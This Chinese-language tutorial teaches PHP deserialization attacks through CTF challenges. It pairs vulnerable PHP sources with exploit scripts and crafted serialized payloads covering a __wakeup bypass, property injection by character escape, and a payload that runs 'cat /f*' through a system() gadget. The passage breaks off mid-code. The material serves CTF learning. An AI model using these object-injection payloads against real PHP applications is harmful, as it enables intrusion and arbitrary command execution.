PHP反序列化实用指南
最编程
2024-07-26 19:13:49
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一、简单的反序列化题目
1.P1
task.php
<?php
highlight_file(__FILE__);
class NSS {
var $name;
function __destruct() {
if ($this->name === 'ctf') {
echo getenv('FLAG');
}
}
}
unserialize($_GET['n']);
exp.php
<?php
class NSS {
var $name='ctf';
}
$a=new NSS();
print(urlencode(serialize($a)));
//O%3A3%3A%22NSS%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A3%3A%22ctf%22%3B%7D
2.[SWPUCTF 2021 新生赛]ez_unserialize
task.php
<?php
error_reporting(0);
show_source("cl45s.php");
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$p = $_GET['p'];
unserialize($p);
?>
exp.php
O%3A4%3A%22wllm%22%3A2%3A%7Bs%3A5%3A%22admin%22%3Bs%3A5%3A%22admin%22%3Bs%3A6%3A%22passwd%22%3Bs%3A3%3A%22ctf%22%3B%7D
<?php
class wllm{
public $admin="admin";
public $passwd="ctf";
}
$a=new wllm();
print(urlencode(serialize($a)));
//O%3A4%3A%22wllm%22%3A2%3A%7Bs%3A5%3A%22admin%22%3Bs%3A5%3A%22admin%22%3Bs%3A6%3A%22passwd%22%3Bs%3A3%3A%22ctf%22%3B%7D
二、wake_up 绕过
1.P3
task.php
<?php
highlight_file(__FILE__);
class NSS {
var $name;
function __wakeup() {
$this->name = '1';
}
function __destruct() {
if ($this->name === 'ctf') {
echo getenv('FLAG');
}
}
}
unserialize($_GET['n']);
exp.php
<?php
class NSS {
var $name='ctf';
}
$a=new NSS();
print(urlencode(serialize($a)));
//O%3A3%3A%22NSS%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A3%3A%22ctf%22%3B%7D
//O%3A3%3A"NSS"%3A2%3A{s%3A4%3A"name"%3Bs%3A3%3A"ctf"%3B}
2.[极客大挑战 2019]PHP
task.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
exp.php
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
$a=new Name("admin","100");
print(urlencode(serialize($a)));
//O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
//O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
三、反序列化字符逃逸
1.字符增加
(1).task.php
<?php
error_reporting(0);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='yu22x')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
思路分析
需要反序列化后的password变成yu22x
我们随便带入一个username，password修改为yu22x得到目标字符串
<?php
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='yu22x')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
$b=new a('admin','yu22x');
echo serialize($b);
#O:1:"a":2:{s:5:"uname";s:5:"admin";s:8:"password";s:5:"yu22x";}
其中我们需要利用的子串是";s:8:“password”;s:5:“yu22x”;}长度30位。
观察替换规则，由Firebasky变成Firebaskyup字符增加2，因此我们需要15个Firebasky
得到payload:
FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}
(2).index.php
<?php
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
message.php
<?php
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
思路分析
我们需要把message中的token修改为admin获得flag
首先得到目标字符串
<?php
class message{
public $from;
public $msg;
public $to;
public $token='admin';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$b=new message('1','2','3');
echo serialize($b);
#O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:1:"3";s:5:"token";s:5:"admin";}
我们需要构造的子串是";s:5:“token”;s:5:“admin”;}，长度为27，观察替换规则，一个fuck，变成一个loveU，字符增加1，我们需要27个fuck。
payload:
?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
然后访问messa.php获得flag
(3).index.php
<?php
highlight_file(__FILE__);
function waf($str){
return str_replace("bad","good",$str);
}
class GetFlag {
public $key;
public $cmd = "whoami";
public function __construct($key)
{
$this->key = $key;
}
public function __destruct()
{
system($this->cmd);
}
}
unserialize(waf(serialize(new GetFlag($_GET['key']))));
思路分析
通过控制GetFlag当中的cmd来执行不同的系统命令，获得flag。
假设我们想要执行ls命令，那么目标字符串就是 O:7:“GetFlag”:2:{s:3:“key”;s:1:“1”;s:3:“cmd”;s:2:“ls”;}
那么我们需要构造的字串是";s:3:“cmd”;s:2:“ls”;}，长度为22，观察替换规则，bad变为good，这时候增加一个字符，因此需要22个bad。
payload：
?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";}
这时候，我们成功执行了ls命令
最终payload：
?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:7:"cat /f*";}
2.字符减少
(1).task.php
<?php
function filter($string){
$filter = '/pp/i';
return preg_replace($filter,'W',$string);
}
$username = "ppurlet"
$age = "10";
$user = array($username,$age);
var_dump (serialize($user)); # 序列化
echo "<pre>";
$r = filter(serialize($user)); # 替换后序列化
var_dump ($r);
var_dump (unserialize($r)); # 打印反序列
?>
//将age修改为20
思路分析
目标字符串 a:2:{i:0;s:7:“ppurlet”;i:1;s:2:“20”;}
如果我们控制age=20，正常序列化的结果是;i:1;s:2:“20”;}
在其前边插入任意字符和双引号序列化之后得到：a:2:{i:0;s:7:“Wurlet”;i:1;s:17:“1”;i:1;s:2:“20”;}";}
需要吞掉";i:1;s:17:"1这个字符串也就是13个字符。
<?php
function filter($string){
$filter = '/pp/i';
return preg_replace($filter,'W',$string);
}
$username = "pppppppppppppppppppppppppp"; //长度为13
$age = '1";i:1;s:2:"20";}'; //正常序列化的结果
$user = array($username,$age);
var_dump (serialize($user)); # 序列化
echo "<pre>";
$r = filter(serialize($user)); # 替换后序列化
var_dump ($r